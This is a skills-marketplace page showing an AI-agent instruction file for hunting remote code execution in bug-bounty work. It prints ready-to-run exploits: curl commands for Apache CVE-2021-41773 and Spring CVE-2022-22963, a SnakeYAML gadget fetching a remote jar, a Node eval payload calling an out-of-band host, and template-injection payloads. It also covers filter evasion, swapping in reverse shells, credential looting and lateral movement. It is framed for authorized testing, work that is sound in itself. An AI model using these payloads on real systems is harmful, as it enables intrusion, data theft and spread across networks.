본문으로 건너뛰기
cccskills
무료GitHub에 공개

hunt-rce

RCE hunting - template injection, YAML/XML deserialization, dependency confusion, Kubernetes surfaces, CVE-specific exploits (Apache CVE-2021-41773, Spring CVE-2022-22963). OOB-mandatory for blind cases. Wiki-first, FIND schema output.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

연동 도구Kubernetes
설치 방법 보기

포함된 파일(1)

  • SKILL.md8.5 KB

SKILL.md(원문)

설치하기 전에 에이전트에게 전달되는 지시 내용을 확인할 수 있습니다.

Hunt: Remote Code Execution

Assumes hunt-core for the scope gate, two-account rule, confirmation gate, enumeration limits, stop conditions, wiki protocol, FIND output, and Deadends. Do not re-derive any of that here.

Wiki

qmd_query "remote code execution command injection template injection deserialization CVE" via wiki-search MCP

Hub: [[web-moc]] (live web index). Primary page: [[os-command-injection]]. Payload arsenal: wiki/payloads/command-injection.md. Anchors: [[ssti]], [[insecure-deserialization]].

Attack surface signals

Rank before probing. Not every free-text field is equally likely to reach an interpreter:

  • Config / template editors - Nomad, CI job specs, notification templates: user text is compiled, not just stored.
  • Import / render / export endpoints - ?template=, ?url=, document generation, PDF/HTML renderers.
  • Admin and management consoles - richer surface, weaker input handling, often the shortest path.
  • Deserialization sinks - any endpoint eating a serialized blob (magic bytes, !! YAML tags, Java AC ED, PHP O:).
  • Version-pinned components - a fingerprinted Apache 2.4.49 / Spring Cloud Function beats blind probing.

URL patterns: /management-console/*, /admin/settings/*, /webhook/*, /render?template=, /import?url=

Tech stack signals:

SignalRCE Vector
Nomad config UI editableGo text/template injection
SnakeYAML in classpath!!javax.script.ScriptEngineManager
ingress-nginx annotationsPath field regex bypass
Spring Boot *-routing-expression headerSpEL injection
X-GitHub-Enterprise-VersionNomad/collectd/syslog-ng config injection

Methodology

  1. Prefer a vetted module over a hand-rolled exploit. For a known CVE/product, check Metasploit FIRST: bash /root/vm.sh "msfconsole -q -x 'search <cve-or-product>; exit'". If a module exists, run it non-interactively (use <mod>; set RHOSTS <ip>; set LHOST <vpn-ip>; run -z; sessions -l; exit) rather than writing bespoke exploit code - faster, more reliable, and the exploit logic lives in the vetted module. Hand-roll only when no module fits.
  2. Map execution contexts: template engines, shell commands, YAML parsers, file paths, package resolution
  3. Enumerate admin/management interfaces: /management-console, /admin, /_internal, /setup
  4. Template injection probe in every config/free-text field:
{{7*7}}${7*7}#{7*7}<%= 7*7 %>*{7*7}

Look for 49 in response, logs, or OOB DNS callbacks.

3b. Server-side eval/exec sink (Node/Python/Ruby cmd-style param): an endpoint that returns a FIXED message/200 for EVERY body may be eval()-ing a specific param and swallowing the error. Response-diff param-mining MISSES this (cmd=test -> eval error -> same message), so mine with an actual PAYLOAD + OOB, and test BOTH the query-string AND the body (the sink is often on ONE of them only). Node example: curl -sG -X POST --data-urlencode 'cmd=require("child_process").exec("curl http://OOB/x")' TARGET -> a callback confirms the sink; then swap the payload for a reverse shell. (Seen on a Node/Express box: a POST /api/<x>?cmd= query param was eval'd server-side while the body/form cmd did nothing.)

  1. YAML deserialization:
!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[!!java.net.URL ["http://YOUR_COLLAB/exploit.jar"]]]
]
  1. Apache CVE-2021-41773/42013 (Apache 2.4.49/2.4.50):
# File read
curl --path-as-is "http://target/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"
# RCE (cgi-bin alias required)
curl --path-as-is -X POST \
  -d "echo Content-Type: text/plain; echo; id" \
  "http://target/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"
  1. Spring Cloud Function SpEL (CVE-2022-22963):
curl -X POST http://target:8080/functionRouter \
  -H "Content-Type: text/plain" \
  -H 'spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(new String[]{"id"})' \
  --data "x"
  1. Chain: low-severity misconfig (CSRF, traversal) + RCE primitive = critical
  2. Distill (when confirmed) a reusable template bypass / new CVE, GENERIC, no client host: python3 scripts/wiki-stage.py --kind technique --slug <slug> --target-page techniques/web/os-command-injection.md

Safe-PoC first. Every probe above runs id (or a bare OOB callback), never a destructive command. Only after a callback or command output confirms the sink do you swap in a reverse shell. Never run a state-changing command (delete, overwrite, service restart) to prove exec - id proves it and destroys nothing.

Template Injection RCE Payloads

# Jinja2
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

# Twig (PHP)
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

# ERB (Ruby)
<%= `id` %>

# Freemarker
<#assign x="freemarker.template.utility.Execute"?new()>${x("id")}

Evasion

When a probe is filtered rather than absent, the sink may still be reachable:

  • Command filters: $IFS (or ${IFS}) for blocked spaces, quote/backslash breaking (c""url, w\get), base64 -d | sh, wildcard globbing (/???/??t), $(...) / backticks, and env-var indirection.
  • Template keyword filters: rebuild blocked names via attribute access and concatenation (Jinja request|attr('application')..., 'os' assembled from chars) rather than the literal os/popen.
  • WAF on the body: move the payload to the query string (or vice versa) - the eval sink in step 3b frequently lives on only one of them.

Marker discipline (hunt-core): use a unique 8+ char canary in reflected/SSTI probes, never test, and check the baseline for it before claiming reflection.

Confirmation gate

NOT confirmation:

  • a delayed response alone - load or a slow upstream, not proof of sleep.
  • an error echoing your input - reflection is not execution.
  • a 500 / stack trace - a parser choking is not code running.
  • {{7*7}} returned literally, or a fixed 200 for every body (the eval-swallow case in 3b).
  • 49 from {{7*7}} on its own - that is template evaluation, not yet an exec primitive.

IS confirmation:

  • injected command output in the response matching what you ran (e.g. uid=... gid=... from id), reproduced in a clean session against your own written steps.
  • for SSTI: 49 PLUS a follow-up payload that reaches an os/runtime primitive and returns its output.
  • for blind (no output channel): an out-of-band callback correlated to your planted token - see below.

Blind RCE is OOB-gated, never inferred. Plant an interactsh / Burp Collaborator token, then append a row to targets/<eng>/oob.md:

| <token> | <sink url+param> | rce | <date> | waiting | |

(columns: token | sink | class | planted | status | source; token = your unique interactsh/Collaborator label). The recon-capture hook auto-correlates an incoming callback to flip the row to HIT and SessionStart surfaces HITs; a HIT row is the confirmation gate to scaffold the FIND. Do NOT claim a blind RCE without a HIT row.

Drive load-bearing exploit requests through Burp Repeater (Skill(hunt-burp) / Burp MCP) so the operator can replay the injection; fuzz belongs in Intruder, not a hand-rolled loop.

Chaining

RCE is rarely the finish line. Once exec is confirmed:

  • Loot credentials from the foothold - env vars, config files, cloud metadata, .git-credentials, connection strings. Hand off to hunt-secrets.
  • Lateral movement - reused creds, service tokens, and internal trust from the RCE host pivot into the domain. Hand off to hunt-ad.
  • Vector-specific siblings - a serialized-blob sink is hunt-deserialization; a container/orchestrator surface is hunt-cloud.

Report the chain, not just the primitive: pre-auth RCE plus credential reuse implicates far more than the one host.

Severity

OutcomeSeverity
Command output returned or OOB callback received (RCE)critical
SSTI reflected, reaches output but no exec primitivehigh
SSTI sandboxed - arithmetic only, no sandbox escapemedium

Rate on demonstrated execution, not the theoretical ceiling. Unauthenticated / pre-auth RCE outranks post-auth by a band. A sink you can only trigger with a precondition you cannot meet (an admin-only field, an unreachable header) lowers it.

리뷰

아직 리뷰가 없습니다. 사용해 본 소감을 남겨 주세요.

댓글

로그인 없이 쓸 수 있습니다. 사용 후기, 질문, 작동하지 않은 환경 등을 편하게 남겨 주세요.

아직 댓글이 없습니다. 첫 댓글을 남겨 보세요.

보내면 바로 공개됩니다. 이메일 주소나 전화번호 같은 개인 정보는 쓰지 마세요. URL은 2개까지입니다.

0 / 1,000자

이 양식은 reCAPTCHA로 보호되며 Google 개인정보처리방침 및 서비스 약관이 적용됩니다.

같은 저장소의 스킬

arsenal

무료

Wiki-first "what do I use" lookup - pick the automated TOOL (wiki/tools/), then the PAYLOAD/technique (wiki/payloads/ + wiki/cheatsheets/), for a surface/service/vuln-class BEFORE hand-rolling or working from memory. Use for "tool for <service>", "automated tools for web/<service>", "what should I run on <surface>", "which tool for <X>", "payloads for <X>", "payload arsenal", "cheatsheet for <X>", "how do I exploit <tech/class>", "exploit/attack chain for <X>", "arsenal", any SSRF/XSS/SQLi/SSTI/LFI/JWT/XXE/IDOR/NoSQL/deserialization/CSRF/CORS/CRLF/GraphQL/smuggling/web-cache/OAuth/SAML/MFA/crypto/LDAP/XPath/WebAuthn/file-upload/IMDS/prompt-injection/Modbus ask, plus "privesc arsenal", "CVE arsenal", "default creds", "nuclei templates", "sqlmap/hydra/nmap/bloodhound", "password attacks".

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

Encod3d-Sec/TORCH3332026년 9월 1일 업데이트

Autonomous bug-bounty campaign driver. Runs a full programme end to end with no operator approvals - the deterministic driver (scripts/campaign.py) owns pass state, generates the killchain board from recon, and prints the exact next action (including which Skill and tool to run) every turn. Use when starting or resuming a bug-bounty engagement, "run the bb workflow", "hunt this program", "9-pass campaign", or when handed a *.scope wildcard to test for TIER1 findings. Single agent, refuter-verified, wiki-first, tool-first.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

Encod3d-Sec/TORCH3332026년 9월 1일 업데이트

Health check for the bb/pt/ctf workflow driver subsystem - verifies everything is in place so every machine runs the same. Checks vault-content consistency (scripts present, JSON valid, routing wired, all 69 tool pages carry phase:, the tool index resolves, the hook edits are in place) AND per-machine wiring (the three workflow skills symlinked, hooks registered, imports work), then runs a live init->board->next smoke test. Use when setting up the workflow on a new machine, after a vault sync, when the driver misbehaves, or on "bb-health", "campaign health", "is the workflow set up", "check hooks and scripts", "why is the board not working".

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

Encod3d-Sec/TORCH3332026년 9월 1일 업데이트

Bring up a REAL, visible, interactive chromium on the Kali VM that the operator logs into (Smart-ID / Mobile-ID / any manual auth or MFA/CAPTCHA), while the agent drives and observes it live through the chrome-devtools MCP (navigate, DOM snapshot, network capture, screenshots, console, evaluate). Use whenever a target needs a MANUAL login the agent cannot complete headlessly, when you need to capture an authenticated session / the real API calls a page makes, or to confirm/screenshot a DOM-XSS. Triggers - "open a browser", "log in manually", "smart-id / mobile-id / national id login", "mfa / 2fa login", "solve the captcha", "drive the browser", "capture the authenticated session / network".

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

Encod3d-Sec/TORCH3332026년 9월 1일 업데이트

OFFLINE FALLBACK for the claude-md-management plugin - prefer that plugin when it is installed. Audit and improve CLAUDE.md files - scan for CLAUDE.md files, evaluate quality against templates, output a report, then make targeted updates. Invoke explicitly (/claude-md-improver) when the plugin is unavailable.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

Encod3d-Sec/TORCH3332026년 9월 1일 업데이트

coverage

무료

Show per-asset vuln-class coverage gaps for the active engagement so nothing in scope is skipped. Use when asked "coverage", "what haven't we tested", "test gaps", "are we thorough", or before calling an engagement done.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

Encod3d-Sec/TORCH3332026년 9월 1일 업데이트

Encod3d-Sec의 스킬 모두 보기

이 스킬의 문제 신고